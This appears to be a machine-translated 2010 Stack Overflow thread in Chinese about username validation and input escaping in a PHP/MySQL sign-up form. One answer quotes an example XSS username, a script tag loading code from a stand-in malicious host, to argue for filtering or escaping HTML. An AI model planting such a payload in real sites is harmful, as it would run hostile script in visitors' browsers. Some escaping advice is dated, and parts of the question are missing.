我正在编写一个用户注册程序。但是,我发现有一个字符限制在示例代码中的“username”,例如“.”、“”、“-”被接受,没有空格或其他空白等等。
这些限制是否必要?
我在用MySQL+PHP。如果我采用以下几种方式:
我真的需要一个正则表达式吗?
谢谢你的帮助。
PS:我是中国人,所以需要汉字。
发布于 2010-01-27 10:10:59
由于这是一个web应用程序,除了使用mysql_real_escape_string之外,我还建议取消或禁止任何可以构造HTML的内容。一般来说,禁止"<“和">”就足够了。
您确实不希望某些用户将其名称输入为:
<script src=http://malicious/script.js></script>
另一种解决方案是在将数据输出到页面时使用htmlspecialchars。
发布于 2010-01-27 09:49:14
这些限制并不是必要的,但是您必须确保用户名是一个有效和唯一的字符串(有或没有regex)。
当涉及到从字符串和mysql注入中剥离易受攻击字符时,我建议对准备好的语句使用Mysqli扩展,它负责转义,您不必手动转义每个字符串。
发布于 2010-01-27 09:46:07
这取决于你,但在我看来,使用mysql_real_escape_string应该没问题(而且我很偏执)
https://stackoverflow.com/questions/2145781
复制相似问题